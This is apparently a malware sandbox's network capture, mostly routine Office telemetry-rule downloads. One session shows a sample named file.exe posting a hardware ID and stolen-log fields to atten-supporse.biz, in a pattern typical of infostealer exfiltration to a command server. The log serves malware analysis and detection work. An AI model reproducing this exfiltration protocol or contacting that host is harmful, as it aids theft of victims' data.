2024-12-07 16:35:21 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:21 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: a36b2733-e01e-0051-6f03-4884b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163521Z-r1cf579d778w59f9hC1EWRze6w000000034g00000000389z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:21 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.7	49713	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:23 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:23 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 27a1a40f-f01e-0096-7d0b-4810ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163523Z-r1cf579d778z4wflhC1EWRa3h000000003100000000000ug x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:23 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.7	49716	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:23 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:23 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 9879796e-101e-0034-5802-4896ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163523Z-r1cf579d778dndrdhC1EWR4b2400000002eg0000000072bp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:23 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.7	49717	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:23 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:23 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: c4bc35ba-101e-007a-7206-48047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163523Z-r1cf579d7782ctslhC1EWRfbrw00000003a0000000005qsm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:23 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.7	49715	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:23 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:23 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 1e9ba10d-901e-0029-2907-48274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163523Z-r1cf579d778qgtz2hC1EWRmgks00000002qg000000004add x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:23 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.7	49714	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:23 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:23 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 3de6f1c3-b01e-003d-6e01-48d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163523Z-r1cf579d778lntp7hC1EWR9gg400000002cg0000000015zh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:23 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	49718	104.21.16.9	443	5480	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:23 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=I8U14Y1B User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12790 Host: atten-supporse.biz
2024-12-07 16:35:23 UTC	12790	OUT	Data Raw: 2d 2d 49 38 55 31 34 59 31 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 45 30 46 32 33 41 32 46 30 43 44 35 38 31 39 44 35 39 39 44 41 46 36 43 39 35 44 36 30 32 39 0d 0a 2d 2d 49 38 55 31 34 59 31 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 49 38 55 31 34 59 31 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 49 38 55 31 34 59 31 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --I8U14Y1BContent-Disposition: form-data; name="hwid"BE0F23A2F0CD5819D599DAF6C95D6029--I8U14Y1BContent-Disposition: form-data; name="pid"2--I8U14Y1BContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--I8U14Y1BContent-Di
2024-12-07 16:35:25 UTC	1046	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=58ife5munc2c96phtgebhcl6fi; expires=Wed, 02-Apr-2025 10:22:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=D%2B7oNc516UwvwnZ6tvt%2BmU%2Bgy4BUMe2gww9DKqOygeCVCb50cvnHLBWVT8oNg6C6hxP8v21%2FU4459of8zIJYdJiWqoM5JRh2ApoG2KxeXGb%2FfBE87X4k5yFUGH1cNBL2rUqMCG4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ee5edb8fc1841c1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1745&min_rtt=1738&rtt_var=666&sent=9&recv=17&lost=0&retrans=0&sent_bytes=2846&recv_bytes=13722&delivery_rate=1624930&cwnd=205&unsent_bytes=0&cid=5da9b3a8529253b9&ts=2344&x=0"
2024-12-07 16:35:25 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-07 16:35:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.7	49719	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:25 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:25 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: b569e8fb-501e-008c-5305-48cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163525Z-r1cf579d778kr8xrhC1EWRfkun000000036g000000008umr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:25 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.7	49723	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:25 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:25 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: aae5b6c6-f01e-005d-7a06-4813ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163525Z-r1cf579d778g2t6ghC1EWRfggs000000025g000000008a9w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:25 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.7	49720	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:25 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:25 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 3fcfbabf-e01e-0052-0903-48d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163525Z-r1cf579d77898tqwhC1EWRf9q800000002zg0000000022y5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:25 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.7	49721	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:25 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:25 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 682fb484-401e-0083-5904-48075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163525Z-r1cf579d778bb9vvhC1EWRs95400000002b0000000008zbw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:25 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.7	49722	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:26 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:26 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 22943564-b01e-0021-0b03-48cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163526Z-r1cf579d778zvkpnhC1EWRv23g000000031g0000000077ac x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
